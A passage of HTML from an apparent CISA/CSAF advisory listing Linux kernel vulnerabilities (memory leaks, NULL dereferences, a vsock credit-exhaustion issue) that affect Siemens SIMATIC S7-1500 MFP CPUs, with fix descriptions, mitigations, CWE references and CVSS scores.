</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23038</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: pnfs/flexfiles: Fix memory leak in nfs4_ff_alloc_deviceid_node() In nfs4_ff_alloc_deviceid_node(), if the allocation for ds_versions fails, the function jumps to the out_scratch label without freeing the already allocated dsaddrs list, leading to a memory leak. Fix this by jumping to the out_err_drain_dsaddrs label, which properly frees the dsaddrs list before cleaning up other resources.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23038">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/772.html">CWE-772 Missing Release of Resource after Effective Lifetime</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23054</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: net: hv_netvsc: reject RSS hash key programming without RX indirection table RSS configuration requires a valid RX indirection table. When the device reports a single receive queue, rndis_filter_device_add() does not allocate an indirection table, accepting RSS hash key updates in this state leads to a hang. Fix this by gating netvsc_set_rxfh() on ndc-&gt;rx_table_sz and return -EOPNOTSUPP when the table is absent. This aligns set_rxfh with the device capabilities and prevents incorrect behavior.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23054">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23060</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: crypto: authencesn - reject too-short AAD (assoclen&lt;8) to match ESP/ESN spec authencesn assumes an ESP/ESN-formatted AAD. When assoclen is shorter than the minimum expected length, crypto_authenc_esn_decrypt() can advance past the end of the destination scatterlist and trigger a NULL pointer dereference in scatterwalk_map_and_copy(), leading to a kernel panic (DoS). Add a minimum AAD length check to fail fast on invalid inputs.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23060">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23083</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: fou: Don't allow 0 for FOU_ATTR_IPPROTO. fou_udp_recv() has the same problem mentioned in the previous patch. If FOU_ATTR_IPPROTO is set to 0, skb is not freed by fou_udp_recv() nor "resubmit"-ted in ip_protocol_deliver_rcu(). Let's forbid 0 for FOU_ATTR_IPPROTO.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23083">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23084</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: be2net: Fix NULL pointer dereference in be_cmd_get_mac_from_list When the parameter pmac_id_valid argument of be_cmd_get_mac_from_list() is set to false, the driver may request the PMAC_ID from the firmware of the network card, and this function will store that PMAC_ID at the provided address pmac_id. This is the contract of this function. However, there is a location within the driver where both pmac_id_valid == false and pmac_id == NULL are being passed. This could result in dereferencing a NULL pointer. To resolve this issue, it is necessary to pass the address of a stub variable to the function.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23084">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23086</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: vsock/virtio: cap TX credit to local buffer size The virtio transports derives its TX credit directly from peer_buf_alloc, which is set from the remote endpoint's SO_VM_SOCKETS_BUFFER_SIZE value. On the host side this means that the amount of data we are willing to queue for a connection is scaled by a guest-chosen buffer size, rather than the host's own vsock configuration. A malicious guest can advertise a large buffer and read slowly, causing the host to allocate a correspondingly large amount of sk_buff memory. The same thing would happen in the guest with a malicious host, since virtio transports share the same code base. Introduce a small helper, virtio_transport_tx_buf_size(), that returns min(peer_buf_alloc, buf_alloc), and use it wherever we consume peer_buf_alloc. This ensures the effective TX window is bounded by both the peer's advertised buffer and our own buf_alloc (already clamped to buffer_max_size via SO_VM_SOCKETS_BUFFER_MAX_SIZE), so a remote peer cannot force the other to queue more data than allowed by its own vsock settings. On an unpatched Ubuntu 22.04 host (~64 GiB RAM), running a PoC with 32 guest vsock connections advertising 2 GiB each and reading slowly drove Slab/SUnreclaim from ~0.5 GiB to ~57 GiB; the system only recovered after killing the QEMU process. That said, if QEMU memory is limited with cgroups, the maximum memory used will be limited. With this patch applied: Before: MemFree: ~61.6 GiB Slab: ~142 MiB SUnreclaim: ~117 MiB After 32 high-credit connections: MemFree: ~61.5 GiB Slab: ~178 MiB SUnreclaim: ~152 MiB Only ~35 MiB increase in Slab/SUnreclaim, no host OOM, and the guest remains responsive. Compatibility with non-virtio transports: - VMCI uses the AF_VSOCK buffer knobs to size its queue pairs per socket based on the local vsk-&gt;buffer_* values; the remote side cannot enlarge those queues beyond what the local endpoint configured. - Hyper-V's vsock transport uses fixed-size VMBus ring buffers and an MTU bound; there is no peer-controlled credit field comparable to peer_buf_alloc, and the remote endpoint cannot drive in-flight kernel memory above those ring sizes. - The loopback path reuses virtio_transport_common.c, so it naturally follows the same semantics as the virtio transport. This change is limited to virtio_transport_common.c and thus affects virtio-vsock, vhost-vsock, and loopback, bringing them in line with the "remote window intersected with local policy" behaviour that VMCI and Hyper-V already effectively have. [Stefano: small adjustments after changing the previous patch] [Stefano: tweak the commit message]</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23086">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.2</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23087</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: scsi: xen: scsiback: Fix potential memory leak in scsiback_remove() Memory allocated for struct vscsiblk_info in scsiback_probe() is not freed in scsiback_remove() leading to potential memory leaks on remove, as well as in the scsiback_probe() error paths. Fix that by freeing it in scsiback_remove().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23087">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23095</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: gue: Fix skb memleak with inner IP protocol 0. syzbot reported skb memleak below. [0] The repro generated a GUE packet with its inner protocol 0. gue_udp_recv() returns -guehdr-&gt;proto_ctype for "resubmit" in ip_protocol_deliver_rcu(), but this only works with non-zero protocol number. Let's drop such packets. Note that 0 is a valid number (IPv6 Hop-by-Hop Option). I think it is not practical to encap HOPOPT in GUE, so once someone starts to complain, we could pass down a resubmit flag pointer to distinguish two zeros from the upper layer: * no error * resubmit HOPOPT [0] BUG: memory leak unreferenced object 0xffff888109695a00 (size 240): comm "syz.0.17", pid 6088, jiffies 4294943096 hex dump (first 32 bytes): 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 40 c2 10 81 88 ff ff 00 00 00 00 00 00 00 00 .@.............. backtrace (crc a84b336f): kmemleak_alloc_recursive include/linux/kmemleak.h:44 [inline] slab_post_alloc_hook mm/slub.c:4958 [inline] slab_alloc_node mm/slub.c:5263 [inline] kmem_cache_alloc_noprof+0x3b4/0x590 mm/slub.c:5270 __build_skb+0x23/0x60 net/core/skbuff.c:474 build_skb+0x20/0x190 net/core/skbuff.c:490 __tun_build_skb drivers/net/tun.c:1541 [inline] tun_build_skb+0x4a1/0xa40 drivers/net/tun.c:1636 tun_get_user+0xc12/0x2030 drivers/net/tun.c:1770 tun_chr_write_iter+0x71/0x120 drivers/net/tun.c:1999 new_sync_write fs/read_write.c:593 [inline] vfs_write+0x45d/0x710 fs/read_write.c:686 ksys_write+0xa7/0x170 fs/read_write.c:738 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline] do_syscall_64+0xa4/0xf80 arch/x86/entry/syscall_64.c:94 entry_SYSCALL_64_after_hwframe+0x77/0x7f</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23095">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23100</a></h3>
<div class="csaf-accordion-content">
<p>In the Linux kernel, the following vulnerability has been resolved: mm/hugetlb: fix hugetlb_pmd_shared() Patch series "mm/hugetlb: fixes for PMD table sharing (incl. using mmu_gather)", v3. One functional fix, one performance regression fix, and two related comment fixes. I cleaned up my prototype I recently shared [1] for the performance fix, deferring most of the cleanups I had in the prototype to a later point. While doing that I identified the other things. The goal of this patch set is to be backported to stable trees "fairly" easily. At least patch #1 and #4. Patch #1 fixes hugetlb_pmd_shared() not detecting any sharing Patch #2 + #3 are simple comment fixes that patch #4 interacts with. Patch #4 is a fix for the reported performance regression due to excessive IPI broadcasts during fork()+exit(). The last patch is all about TLB flushes, IPIs and mmu_gather. Read: complicated There are plenty of cleanups in the future to be had + one reasonable optimization on x86. But that's all out of scope for this series. Runtime tested, with a focus on fixing the performance regression using the original reproducer [2] on x86. This patch (of 4): We switched from (wrongly) using the page count to an independent shared count. Now, shared page tables have a refcount of 1 (excluding speculative references) and instead use ptdesc-&gt;pt_share_count to identify sharing. We didn't convert hugetlb_pmd_shared(), so right now, we would never detect a shared PMD table as such, because sharing/unsharing no longer touches the refcount of a PMD table. Page migration, like mbind() or migrate_pages() would allow for migrating folios mapped into such shared PMD tables, even though the folios are not exclusive. In smaps we would account them as "private" although they are "shared", and we would be wrongly setting the PM_MMAP_EXCLUSIVE in the pagemap interface. Fix it by properly using ptdesc_pmd_is_shared() in hugetlb_pmd_shared().</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-23100">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Siemens SIMATIC S7-1500 CPU 1518(F)-4 PN/DP MFP</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Siemens</div>
<div class="ics-version"><strong>Product Version:</strong><br>SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518-4 PN/DP MFP (6ES7518-4AX00-1AC0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AB0) &gt;= V3.1.6, SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP (6ES7518-4FX00-1AC0) &gt;= V3.1.6, SIPLUS S7-1500 CPU 1518-4 PN/DP MFP (6AG1518-4AX00-4AC0) &gt;= V3.1.6</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.</p>
<p><strong>Mitigation</strong><br>Only build and run applications from trusted sources.</p>
<p><strong>None available</strong><br>Currently no fix is available</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/20.html">CWE-20 Improper Input Validation</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-23103</a></h3>
<div class="csaf-accordion-content">
